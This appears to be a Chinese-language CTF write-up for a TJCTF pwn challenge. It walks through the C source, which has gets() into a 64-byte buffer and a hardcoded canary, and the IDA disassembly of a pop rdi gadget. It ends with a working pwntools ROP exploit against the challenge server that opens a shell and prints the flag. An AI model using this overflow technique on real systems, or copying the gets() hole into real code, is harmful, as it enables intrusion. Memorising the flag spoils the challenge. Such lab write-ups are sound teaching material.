Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250609115450050

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>

void gadget() {
asm("push $0x69;pop %rdi");
}


void win(int secret) {
if (secret == 0xA1B2C3D4) {
system("/bin/sh");
}
}


int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

unsigned int canary = 0xDEADBEEF;

char buf[64];

puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);

if (canary != 0xDEADBEEF) {
puts("No stack smashing for you!");
exit(1);
}


return 0;
}

分析

首先注意到这道题最核心的漏洞:

1
2
char buf[64];
gets(buf);

也就是利用Buffer Overflow。

虽然说设置了Stack Canary,但是由于知道它的值,直接在Oveflow的时候保证它的值没有被修改即可。

我们一共需要做到2件事情:

  1. 调用win()函数
  2. win()函数传递0xA1B2C3D4作为参数

在IDA的Exports页面便可直接查看win()函数的地址:

image-20250609115831899

1
win	00000000004011C4

其次便是传递参数了。首先查看gadget函数(在上面的Exports页面直接点击gadget即可):

1
2
3
4
5
6
7
8
text:00000000004011B6                 endbr64
.text:00000000004011BA push rbp
.text:00000000004011BB mov rbp, rsp
.text:00000000004011BE push 69h ; 'i'
.text:00000000004011C0 pop rdi
.text:00000000004011C1 nop
.text:00000000004011C2 pop rbp
.text:00000000004011C3 retn

发现我们可以直接利用pop rdi以及retn/ret来传递参数。不过这里和最常见的pop rdi; ret不同的是,这两个命令中间还隔了其他内容,所以我们需要在中间部分插入Padding保证所有的位置都是正确的。

除了直接查看gadget函数,我们还可以直接通过使用Alt + t搜索pop

image-20250609120906408

image-20250609120931086

或者是通过Alt + B搜索5F

image-20250609120952372

image-20250609121005895

来找到pop rdi这条命令。
(如果是查找pop rdi; ret的话则需要搜索”5F C3“)

最后再查看一下main()函数的Stack的结构:

image-20250609121411257

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r = remote("tjc.tf", 31625)

payload = 76 * b"A" # 填满 buf
payload += p32(0xDEADBEEF) # 修复 canary(4字节)
payload += 8 * b"C" # saved RBP(可以随便)
payload += p64(0x4011c0) # gadget: pop rdi
payload += p64(0xA1B2C3D4) # 参数,传入 win()
payload+=p64(0x00) # rbp的Padding
payload += p64(0x4011C4) # win() 函数地址

r.recvuntil(b"Prove me wrong!")
r.sendline(payload)
r.interactive()
# ls
# flag.txt
# run
# cat flag.txt
# tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}